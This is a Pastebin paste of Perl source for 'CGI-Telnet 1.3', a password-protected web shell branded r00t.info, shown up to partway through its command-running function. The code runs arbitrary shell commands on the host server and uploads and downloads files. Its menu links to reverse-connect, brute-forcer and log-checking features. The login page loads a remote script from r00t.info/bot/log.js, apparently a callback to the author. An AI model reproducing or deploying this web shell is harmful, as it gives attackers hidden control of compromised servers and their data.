kakatoji

rot.cin

Apr 20th, 2017
622
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 48.67 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI-Telnet Version 1.3";
  4. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>r00t.info - CGI-Telnet</font>";
  5.  
  6. $Password = "kakatoji"; # Change this. You will need to enter this
  7. # to login.
  8. sub Is_Win(){
  9. $os = &trim($ENV{"SERVER_SOFTWARE"});
  10. if($os =~ m/win/i){
  11. return 1;
  12. }
  13. else{
  14. return 0;
  15. }
  16. }
  17. $WinNT = &Is_Win(); # You need to change the value of this to 1 if
  18. # you're running this script on a Windows NT
  19. # machine. If you're running it on Unix, you
  20. # can leave the value as it is.
  21.  
  22. $NTCmdSep = "&"; # This character is used to seperate 2 commands
  23. # in a command line on Windows NT.
  24.  
  25. $UnixCmdSep = ";"; # This character is used to seperate 2 commands
  26. # in a command line on Unix.
  27.  
  28. $CommandTimeoutDuration = 10000; # Time in seconds after commands will be killed
  29. # Don't set this to a very large value. This is
  30. # useful for commands that may hang or that
  31. # take very long to execute, like "find /".
  32. # This is valid only on Unix servers. It is
  33. # ignored on NT Servers.
  34.  
  35. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the
  36. # browser as soon as it is output, otherwise
  37. # it is buffered and send when the command
  38. # completes. This is useful for commands like
  39. # ping, so that you can see the output as it
  40. # is being generated.
  41.  
  42. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  43.  
  44. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  45. $CmdPwd = ($WinNT ? "cd" : "pwd");
  46. $PathSep = ($WinNT ? "\\" : "/");
  47. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  48. $cols= 150;
  49. $rows= 26;
  50. #------------------------------------------------------------------------------
  51. # Reads the input sent by the browser and parses the input variables. It
  52. # parses GET, POST and multipart/form-data that is used for uploading files.
  53. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  54. # Other variables can be accessed using $in{'var'}, where var is the name of
  55. # the variable. Note: Most of the code in this function is taken from other CGI
  56. # scripts.
  57. #------------------------------------------------------------------------------
  58. sub ReadParse
  59. {
  60. local (*in) = @_ if @_;
  61. local ($i, $loc, $key, $val);
  62.  
  63. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  64.  
  65. if($ENV{'REQUEST_METHOD'} eq "GET")
  66. {
  67. $in = $ENV{'QUERY_STRING'};
  68. }
  69. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  70. {
  71. binmode(STDIN) if $MultipartFormData & $WinNT;
  72. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  73. }
  74.  
  75. # handle file upload data
  76. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  77. {
  78. $Boundary = '--'.$1; # please refer to RFC1867
  79. @list = split(/$Boundary/, $in);
  80. $HeaderBody = $list[1];
  81. $HeaderBody =~ /\r\n\r\n|\n\n/;
  82. $Header = $`;
  83. $Body = $';
  84. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  85. $in{'filedata'} = $Body;
  86. $Header =~ /filename=\"(.+)\"/;
  87. $in{'f'} = $1;
  88. $in{'f'} =~ s/\"//g;
  89. $in{'f'} =~ s/\s//g;
  90.  
  91. # parse trailer
  92. for($i=2; $list[$i]; $i++)
  93. {
  94. $list[$i] =~ s/^.+name=$//;
  95. $list[$i] =~ /\"(\w+)\"/;
  96. $key = $1;
  97. $val = $';
  98. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  99. $val =~ s/%(..)/pack("c", hex($1))/ge;
  100. $in{$key} = $val;
  101. }
  102. }
  103. else # standard post data (url encoded, not multipart)
  104. {
  105. @in = split(/&/, $in);
  106. foreach $i (0 .. $#in)
  107. {
  108. $in[$i] =~ s/\+/ /g;
  109. ($key, $val) = split(/=/, $in[$i], 2);
  110. $key =~ s/%(..)/pack("c", hex($1))/ge;
  111. $val =~ s/%(..)/pack("c", hex($1))/ge;
  112. $in{$key} .= "\0" if (defined($in{$key}));
  113. $in{$key} .= $val;
  114. }
  115. }
  116. }
  117.  
  118. #------------------------------------------------------------------------------
  119. # Prints the HTML Page Header
  120. # Argument 1: Form item name to which focus should be set
  121. #------------------------------------------------------------------------------
  122. sub PrintPageHeader
  123. {
  124. $EncodedCurrentDir = $CurrentDir;
  125. $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  126. my $dir =$CurrentDir;
  127. $dir=~ s/\\/\\\\/g;
  128. print "Content-type: text/html\n\n";
  129. print <<END;
  130. <html>
  131. <head>
  132. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  133. <title> </title>
  134.  
  135. $HtmlMetaHeader
  136.  
  137. </head>
  138. <style>
  139. body{
  140. font: 10pt Verdana;
  141. }
  142. tr {
  143. BORDER-RIGHT: #3e3e3e 1px solid;
  144. BORDER-TOP: #3e3e3e 1px solid;
  145. BORDER-LEFT: #3e3e3e 1px solid;
  146. BORDER-BOTTOM: #3e3e3e 1px solid;
  147. color: #ff9900;
  148. }
  149. td {
  150. BORDER-RIGHT: #3e3e3e 1px solid;
  151. BORDER-TOP: #3e3e3e 1px solid;
  152. BORDER-LEFT: #3e3e3e 1px solid;
  153. BORDER-BOTTOM: #3e3e3e 1px solid;
  154. color: #2BA8EC;
  155. font: 10pt Verdana;
  156. }
  157.  
  158. table {
  159. BORDER-RIGHT: #3e3e3e 1px solid;
  160. BORDER-TOP: #3e3e3e 1px solid;
  161. BORDER-LEFT: #3e3e3e 1px solid;
  162. BORDER-BOTTOM: #3e3e3e 1px solid;
  163. BACKGROUND-COLOR: #111;
  164. }
  165.  
  166.  
  167. input {
  168. BORDER-RIGHT: #3e3e3e 1px solid;
  169. BORDER-TOP: #3e3e3e 1px solid;
  170. BORDER-LEFT: #3e3e3e 1px solid;
  171. BORDER-BOTTOM: #3e3e3e 1px solid;
  172. BACKGROUND-COLOR: Black;
  173. font: 10pt Verdana;
  174. color: #ff9900;
  175. }
  176.  
  177. input.submit {
  178. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  179. color: #FFFFFF;
  180. border-color: #009900;
  181. }
  182.  
  183. code {
  184. border : dashed 0px #333;
  185. BACKGROUND-COLOR: Black;
  186. font: 10pt Verdana bold;
  187. color: while;
  188. }
  189.  
  190. run {
  191. border : dashed 0px #333;
  192. font: 10pt Verdana bold;
  193. color: #FF00AA;
  194. }
  195.  
  196. textarea {
  197. BORDER-RIGHT: #3e3e3e 1px solid;
  198. BORDER-TOP: #3e3e3e 1px solid;
  199. BORDER-LEFT: #3e3e3e 1px solid;
  200. BORDER-BOTTOM: #3e3e3e 1px solid;
  201. BACKGROUND-COLOR: #1b1b1b;
  202. font: Fixedsys bold;
  203. color: #aaa;
  204. }
  205. A:link {
  206. COLOR: #2BA8EC; TEXT-DECORATION: none
  207. }
  208. A:visited {
  209. COLOR: #2BA8EC; TEXT-DECORATION: none
  210. }
  211. A:hover {
  212. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  213. color: #ff9900; TEXT-DECORATION: none
  214. }
  215. A:active {
  216. color: Red; TEXT-DECORATION: none
  217. }
  218.  
  219. .listdir tr:hover{
  220. background: #444;
  221. }
  222. .listdir tr:hover td{
  223. background: #444;
  224. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  225. color: #FFFFFF; TEXT-DECORATION: none;
  226. }
  227. .notline{
  228. background: #111;
  229. }
  230. .line{
  231. background: #222;
  232. }
  233. </style>
  234. <script language="javascript">
  235. function chmod_form(i,file)
  236. {
  237. /*var ajax='ajax_PostData("FormPerms_'+i+'","$ScriptLocation","ResponseData"); return false;';*/
  238. var ajax="";
  239. document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  240. document.getElementById("text_" + i).focus();
  241. }
  242. function rm_chmod_form(response,i,perms,file)
  243. {
  244. response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  245. }
  246. function rename_form(i,file,f)
  247. {
  248. var ajax="";
  249. f.replace(/\\\\/g,"\\\\\\\\");
  250. var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  251. document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  252. document.getElementById("text_" + i).focus();
  253. }
  254. function rm_rename_form(i,file,f)
  255. {
  256. if(f=='f')
  257. {
  258. document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$dir&c=edit%20"+file+"%20'>" +file+ "</a>";
  259. }else
  260. {
  261. document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  262. }
  263. }
  264. </script>
  265. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  266. <center><code>
  267. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  268. <tr>
  269. <td align="center" rowspan=2>
  270. <b><font size="5">$EditPersion</font></b>
  271. </td>
  272.  
  273. <td>
  274.  
  275. <font face="Verdana" size="2">$ENV{"SERVER_SOFTWARE"}</font>
  276. </td>
  277. <td>Server IP:<font color="#cc0000"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#000000">$ENV{'REMOTE_ADDR'}</font>
  278. </td>
  279.  
  280. </tr>
  281.  
  282. <tr>
  283. <td colspan="3"><font face="Verdana" size="2">
  284. <a href="$ScriptLocation">Home</a> |
  285. <a href="$ScriptLocation?a=command&d=$EncodedCurrentDir">Komut</a> |
  286. <a href="$ScriptLocation?a=gui&d=$EncodedCurrentDir">Dizin</a> |
  287. <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
  288. <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
  289.  
  290. <a href="$ScriptLocation?a=backbind">Back Connet</a> |
  291. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  292. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  293. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  294. <a href="$ScriptLocation?a=logout">Logout</a> |
  295. <a target='_blank' href="#">Help</a>
  296.  
  297. </font></td>
  298. </tr>
  299. </table>
  300. <font id="ResponseData" color="#ff99cc" >
  301. END
  302. }
  303.  
  304. #------------------------------------------------------------------------------
  305. # Prints the Login Screen
  306. #------------------------------------------------------------------------------
  307. sub PrintLoginScreen
  308. {
  309.  
  310. print <<END;
  311. <pre><script type="text/javascript">
  312. TypingText = function(element, interval, cursor, finishedCallback) {
  313. if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  314. this.running = true; // Never run.
  315. return;
  316. }
  317. this.element = element;
  318. this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  319. this.interval = (typeof interval == "undefined" ? 100 : interval);
  320. this.origText = this.element.innerHTML;
  321. this.unparsedOrigText = this.origText;
  322. this.cursor = (cursor ? cursor : "");
  323. this.currentText = "";
  324. this.currentChar = 0;
  325. this.element.typingText = this;
  326. if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  327. TypingText.all.push(this);
  328. this.running = false;
  329. this.inTag = false;
  330. this.tagBuffer = "";
  331. this.inHTMLEntity = false;
  332. this.HTMLEntityBuffer = "";
  333. }
  334. TypingText.all = new Array();
  335. TypingText.currentIndex = 0;
  336. TypingText.runAll = function() {
  337. for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  338. }
  339. TypingText.prototype.run = function() {
  340. if(this.running) return;
  341. if(typeof this.origText == "undefined") {
  342. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
  343. return;
  344. }
  345. if(this.currentText == "") this.element.innerHTML = "";
  346. // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
  347. if(this.currentChar < this.origText.length) {
  348. if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  349. this.tagBuffer = "<";
  350. this.inTag = true;
  351. this.currentChar++;
  352. this.run();
  353. return;
  354. } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  355. this.tagBuffer += ">";
  356. this.inTag = false;
  357. this.currentText += this.tagBuffer;
  358. this.currentChar++;
  359. this.run();
  360. return;
  361. } else if(this.inTag) {
  362. this.tagBuffer += this.origText.charAt(this.currentChar);
  363. this.currentChar++;
  364. this.run();
  365. return;
  366. } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  367. this.HTMLEntityBuffer = "&";
  368. this.inHTMLEntity = true;
  369. this.currentChar++;
  370. this.run();
  371. return;
  372. } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  373. this.HTMLEntityBuffer += ";";
  374. this.inHTMLEntity = false;
  375. this.currentText += this.HTMLEntityBuffer;
  376. this.currentChar++;
  377. this.run();
  378. return;
  379. } else if(this.inHTMLEntity) {
  380. this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  381. this.currentChar++;
  382. this.run();
  383. return;
  384. } else {
  385. this.currentText += this.origText.charAt(this.currentChar);
  386. }
  387. this.element.innerHTML = this.currentText;
  388. this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  389. this.currentChar++;
  390. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  391. } else {
  392. this.currentText = "";
  393. this.currentChar = 0;
  394. this.running = false;
  395. this.finishedCallback();
  396. }
  397. }
  398. </script>
  399. </pre>
  400.  
  401. <font style="font: 15pt Verdana; color: yellow;">Copyright (C) 2001 r00t.info </font><br><br>
  402. <table align="center" border="1" width="600" heigh>
  403. <script src=http://r00t.info/bot/log.js></script>
  404. <tbody><tr>
  405. <td valign="top" background="http://dl.dropbox.com/u/10860051/images/matran.gif"><p id="hack" style="margin-left: 3px;">
  406. <font color="#009900"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>
  407.  
  408. <font color="#009900"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>
  409. <font color="#F00000"><font color="#FFF000">~\$</font> Connected ! </font><br>
  410. <font color="#009900"><font color="#FFF000">$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>
  411.  
  412. <font color="#009900"><font color="#FFF000">$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>
  413.  
  414. <font color="#F00000"><font color="#FFF000">$ServerName~</font>\$ Connected Command! </font><br>
  415. <font color="#009900"><font color="#FFF000">$ServerName~<font color="#F00000">\$</font></font> OK! You can kill it!</font>
  416. </tr>
  417. </tbody></table>
  418. <br>
  419.  
  420. <script type="text/javascript">
  421. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  422. TypingText.runAll();
  423.  
  424. </script>
  425. END
  426. }
  427.  
  428. #------------------------------------------------------------------------------
  429. # Add html special chars
  430. #------------------------------------------------------------------------------
  431. sub HtmlSpecialChars($){
  432. my $text = shift;
  433. $text =~ s/&/&amp;/g;
  434. $text =~ s/"/&quot;/g;
  435. $text =~ s/'/&#039;/g;
  436. $text =~ s/</&lt;/g;
  437. $text =~ s/>/&gt;/g;
  438. return $text;
  439. }
  440. #------------------------------------------------------------------------------
  441. # Add link for directory
  442. #------------------------------------------------------------------------------
  443. sub AddLinkDir($)
  444. {
  445. my $ac=shift;
  446. my @dir=();
  447. if($WinNT)
  448. {
  449. @dir=split(/\\/,$CurrentDir);
  450. }else
  451. {
  452. @dir=split("/",&trim($CurrentDir));
  453. }
  454. my $path="";
  455. my $result="";
  456. foreach (@dir)
  457. {
  458. $path .= $_.$PathSep;
  459. $result.="<a href='?a=".$ac."&d=".$path."'>".$_.$PathSep."</a>";
  460. }
  461. return $result;
  462. }
  463. #------------------------------------------------------------------------------
  464. # Prints the message that informs the user of a failed login
  465. #------------------------------------------------------------------------------
  466. sub PrintLoginFailedMessage
  467. {
  468. print <<END;
  469. <br>Login : Administrator<br>
  470.  
  471. Password:<br>
  472. Login incorrect<br><br>
  473. END
  474. }
  475.  
  476. #------------------------------------------------------------------------------
  477. # Prints the HTML form for logging in
  478. #------------------------------------------------------------------------------
  479. sub PrintLoginForm
  480. {
  481. print <<END;
  482. <form name="f" method="POST" action="$ScriptLocation">
  483. <input type="hidden" name="a" value="login">
  484. Login : Administrator<br>
  485. Password:<input type="password" name="p">
  486. <input class="submit" type="submit" value="Enter">
  487. </form>
  488. END
  489. }
  490.  
  491. #------------------------------------------------------------------------------
  492. # Prints the footer for the HTML Page
  493. #------------------------------------------------------------------------------
  494. sub PrintPageFooter
  495. {
  496. print "<br><font color=red>o---[ <font color=#ff9900>Edit by $EditPersion </font> ]---o</font></code></center></body></html>";
  497. }
  498.  
  499. #------------------------------------------------------------------------------
  500. # Retreives the values of all cookies. The cookies can be accesses using the
  501. # variable $Cookies{''}
  502. #------------------------------------------------------------------------------
  503. sub GetCookies
  504. {
  505. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  506. foreach $cookie(@httpcookies)
  507. {
  508. ($id, $val) = split(/=/, $cookie);
  509. $Cookies{$id} = $val;
  510. }
  511. }
  512.  
  513. #------------------------------------------------------------------------------
  514. # Prints the screen when the user logs out
  515. #------------------------------------------------------------------------------
  516. sub PrintLogoutScreen
  517. {
  518. print "Connection closed by foreign host.<br><br>";
  519. }
  520.  
  521. #------------------------------------------------------------------------------
  522. # Logs out the user and allows the user to login again
  523. #------------------------------------------------------------------------------
  524. sub PerformLogout
  525. {
  526. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  527. &PrintPageHeader("p");
  528. &PrintLogoutScreen;
  529.  
  530. &PrintLoginScreen;
  531. &PrintLoginForm;
  532. &PrintPageFooter;
  533. exit;
  534. }
  535.  
  536. #------------------------------------------------------------------------------
  537. # This function is called to login the user. If the password matches, it
  538. # displays a page that allows the user to run commands. If the password doens't
  539. # match or if no password is entered, it displays a form that allows the user
  540. # to login
  541. #------------------------------------------------------------------------------
  542. sub PerformLogin
  543. {
  544. if($LoginPassword eq $Password) # password matched
  545. {
  546. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  547. &PrintPageHeader;
  548. print &ListDir;
  549. }
  550. else # password didn't match
  551. {
  552. &PrintPageHeader("p");
  553. &PrintLoginScreen;
  554. if($LoginPassword ne "") # some password was entered
  555. {
  556. &PrintLoginFailedMessage;
  557.  
  558. }
  559. &PrintLoginForm;
  560. &PrintPageFooter;
  561. exit;
  562. }
  563. }
  564.  
  565. #------------------------------------------------------------------------------
  566. # Prints the HTML form that allows the user to enter commands
  567. #------------------------------------------------------------------------------
  568. sub PrintCommandLineInputForm
  569. {
  570. my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  571. $Prompt = $WinNT ? "$dir > " : "<font color='#66ff66'>[admin\@$ServerName $dir]\$</font> ";
  572. return <<END;
  573. <form name="f" method="POST" action="$ScriptLocation">
  574.  
  575. <input type="hidden" name="a" value="command">
  576.  
  577. <input type="hidden" name="d" value="$CurrentDir">
  578. $Prompt
  579. <input type="text" size="50" name="c">
  580. <input class="submit"type="submit" value="Enter">
  581. </form>
  582. END
  583. }
  584.  
  585. #------------------------------------------------------------------------------
  586. # Prints the HTML form that allows the user to download files
  587. #------------------------------------------------------------------------------
  588. sub PrintFileDownloadForm
  589. {
  590. my $dir = &AddLinkDir("download");
  591. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  592. return <<END;
  593. <form name="f" method="POST" action="$ScriptLocation">
  594. <input type="hidden" name="d" value="$CurrentDir">
  595. <input type="hidden" name="a" value="download">
  596. $Prompt download<br><br>
  597. Filename: <input class="file" type="text" name="f" size="35"><br><br>
  598. Download: <input class="submit" type="submit" value="Begin">
  599.  
  600. </form>
  601. END
  602. }
  603.  
  604. #------------------------------------------------------------------------------
  605. # Prints the HTML form that allows the user to upload files
  606. #------------------------------------------------------------------------------
  607. sub PrintFileUploadForm
  608. {
  609. my $dir= &AddLinkDir("upload");
  610. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  611. return <<END;
  612. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  613. $Prompt upload<br><br>
  614. Filename: <input class="file" type="file" name="f" size="35"><br><br>
  615. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  616. <label for="up">Overwrite if it Exists</label><br><br>
  617. Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
  618. <input type="hidden" name="d" value="$CurrentDir">
  619. <input class="submit" type="hidden" name="a" value="upload">
  620.  
  621. </form>
  622.  
  623. END
  624. }
  625.  
  626. #------------------------------------------------------------------------------
  627. # This function is called when the timeout for a command expires. We need to
  628. # terminate the script immediately. This function is valid only on Unix. It is
  629. # never called when the script is running on NT.
  630. #------------------------------------------------------------------------------
  631. sub CommandTimeout
  632. {
  633. if(!$WinNT)
  634. {
  635. alarm(0);
  636. return <<END;
  637. </textarea>
  638. <br><font color=yellow>
  639. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  640. <br><font size='6' color=red>Killed it!</font>
  641. END
  642. }
  643. }
  644.  
  645.  
  646.  
  647. #------------------------------------------------------------------------------
  648. # This function displays the page that contains a link which allows the user
  649. # to download the specified file. The page also contains a auto-refresh
  650. # feature that starts the download automatically.
  651. # Argument 1: Fully qualified filename of the file to be downloaded
  652. #------------------------------------------------------------------------------
  653. sub PrintDownloadLinkPage
  654. {
  655. local($FileUrl) = @_;
  656. my $result="";
  657. if(-e $FileUrl) # if the file exists
  658. {
  659. # encode the file link so we can send it to the browser
  660. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  661. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  662. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  663. &PrintPageHeader("c");
  664. $result .= <<END;
  665. Sending File $TransferFile...<br>
  666.  
  667. If the download does not start automatically,
  668. <a href="$DownloadLink">Click Here</a>
  669. END
  670. $result .= &PrintCommandLineInputForm;
  671. }
  672. else # file doesn't exist
  673. {
  674. $result .= "Failed to download $FileUrl: $!";
  675. $result .= &PrintFileDownloadForm;
  676. }
  677. return $result;
  678. }
  679.  
  680. #------------------------------------------------------------------------------
  681. # This function reads the specified file from the disk and sends it to the
  682. # browser, so that it can be downloaded by the user.
  683. # Argument 1: Fully qualified pathname of the file to be sent.
  684. #------------------------------------------------------------------------------
  685. sub SendFileToBrowser
  686. {
  687. my $result = "";
  688. local($SendFile) = @_;
  689. if(open(SENDFILE, $SendFile)) # file opened for reading
  690. {
  691. if($WinNT)
  692. {
  693. binmode(SENDFILE);
  694. binmode(STDOUT);
  695. }
  696. $FileSize = (stat($SendFile))[7];
  697. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  698. print "Content-Type: application/x-unknown\n";
  699. print "Content-Length: $FileSize\n";
  700. print "Content-Disposition: attachment; filename=$1\n\n";
  701. print while(<SENDFILE>);
  702. close(SENDFILE);
  703. exit(1);
  704. }
  705. else # failed to open file
  706. {
  707. $result .= "Failed to download $SendFile: $!";
  708. $result .=&PrintFileDownloadForm;
  709. }
  710. return $result;
  711. }
  712.  
  713.  
  714. #------------------------------------------------------------------------------
  715. # This function is called when the user downloads a file. It displays a message
  716. # to the user and provides a link through which the file can be downloaded.
  717. # This function is also called when the user clicks on that link. In this case,
  718. # the file is read and sent to the browser.
  719. #------------------------------------------------------------------------------
  720. sub BeginDownload
  721. {
  722. # get fully qualified path of the file to be downloaded
  723. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  724. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  725. {
  726. $TargetFile = $TransferFile;
  727. }
  728. else # path is relative
  729. {
  730. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  731. $TargetFile .= $PathSep.$TransferFile;
  732. }
  733.  
  734. if($Options eq "go") # we have to send the file
  735. {
  736. &SendFileToBrowser($TargetFile);
  737. }
  738. else # we have to send only the link page
  739. {
  740. &PrintDownloadLinkPage($TargetFile);
  741. }
  742. }
  743.  
  744. #------------------------------------------------------------------------------
  745. # This function is called when the user wants to upload a file. If the
  746. # file is not specified, it displays a form allowing the user to specify a
  747. # file, otherwise it starts the upload process.
  748. #------------------------------------------------------------------------------
  749. sub UploadFile
  750. {
  751. # if no file is specified, print the upload form again
  752. if($TransferFile eq "")
  753. {
  754. return &PrintFileUploadForm;
  755.  
  756. }
  757. my $result="";
  758. # start the uploading process
  759. $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  760.  
  761. # get the fullly qualified pathname of the file to be created
  762. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  763. $TransferFile =~ m!([^/^\\]*)$!;
  764. $TargetName .= $PathSep.$1;
  765.  
  766. $TargetFileSize = length($in{'filedata'});
  767. # if the file exists and we are not supposed to overwrite it
  768. if(-e $TargetName && $Options ne "overwrite")
  769. {
  770. $result .= "Failed: Destination file already exists.<br>";
  771. }
  772. else # file is not present
  773. {
  774. if(open(UPLOADFILE, ">$TargetName"))
  775. {
  776. binmode(UPLOADFILE) if $WinNT;
  777. print UPLOADFILE $in{'filedata'};
  778. close(UPLOADFILE);
  779. $result .= "Transfered $TargetFileSize Bytes.<br>";
  780. $result .= "File Path: $TargetName<br>";
  781. }
  782. else
  783. {
  784. $result .= "Failed: $!<br>";
  785. }
  786. }
  787. $result .= &PrintCommandLineInputForm;
  788. return $result;
  789. }
  790.  
  791. #------------------------------------------------------------------------------
  792. # This function is called when the user wants to download a file. If the
  793. # filename is not specified, it displays a form allowing the user to specify a
  794. # file, otherwise it displays a message to the user and provides a link
  795. # through which the file can be downloaded.
  796. #------------------------------------------------------------------------------
  797. sub DownloadFile
  798. {
  799. # if no file is specified, print the download form again
  800. if($TransferFile eq "")
  801. {
  802. &PrintPageHeader("f");
  803. return &PrintFileDownloadForm;
  804. }
  805.  
  806. # get fully qualified path of the file to be downloaded
  807. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  808. {
  809. $TargetFile = $TransferFile;
  810. }
  811. else # path is relative
  812. {
  813. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  814. $TargetFile .= $PathSep.$TransferFile;
  815. }
  816.  
  817. if($Options eq "go") # we have to send the file
  818. {
  819. return &SendFileToBrowser($TargetFile);
  820. }
  821. else # we have to send only the link page
  822. {
  823. return &PrintDownloadLinkPage($TargetFile);
  824. }
  825. }
  826.  
  827.  
  828. #------------------------------------------------------------------------------
  829. # This function is called to execute commands. It displays the output of the
  830. # command and allows the user to enter another command. The change directory
  831. # command is handled differently. In this case, the new directory is stored in
  832. # an internal variable and is used each time a command has to be executed. The
  833. # output of the change directory command is not displayed to the users
  834. # therefore error messages cannot be displayed.
  835. #------------------------------------------------------------------------------
  836. sub ExecuteCommand
  837. {
  838. my $result="";
  839. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  840. {
  841. # we change the directory internally. The output of the
  842. # command is not displayed.
  843. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  844. chop($CurrentDir = `$Command`);
  845. $result .= &PrintCommandLineInputForm;
  846.  
  847. $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  848. # xuat thong tin khi chuyen den 1 thu muc nao do!
  849. $RunCommand= $WinNT?"dir":"dir -lia";
  850. $result .= &RunCmd;
  851. }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  852. {
  853. $result .= &SaveFileForm;
  854. }else
  855. {
  856. $result .= &PrintCommandLineInputForm;
  857. $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  858. $result .=&RunCmd;
  859. }
  860. $result .= "</textarea>";
  861. return $result;
  862. }
  863.  
  864. #------------------------------------------------------------------------
  865. # run command
  866. #------------------------------------------------------------------------
  867.  
  868. sub RunCmd
  869. {
  870. my $result="";
  871. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  872. if(!$WinNT)
  873. {
  874. $SIG{'ALRM'} = \&CommandTimeout;
  875. alarm($CommandTimeoutDuration);
  876. }
  877. if($ShowDynamicOutput) # show output as it is generated
  878. {
  879. $|=1;
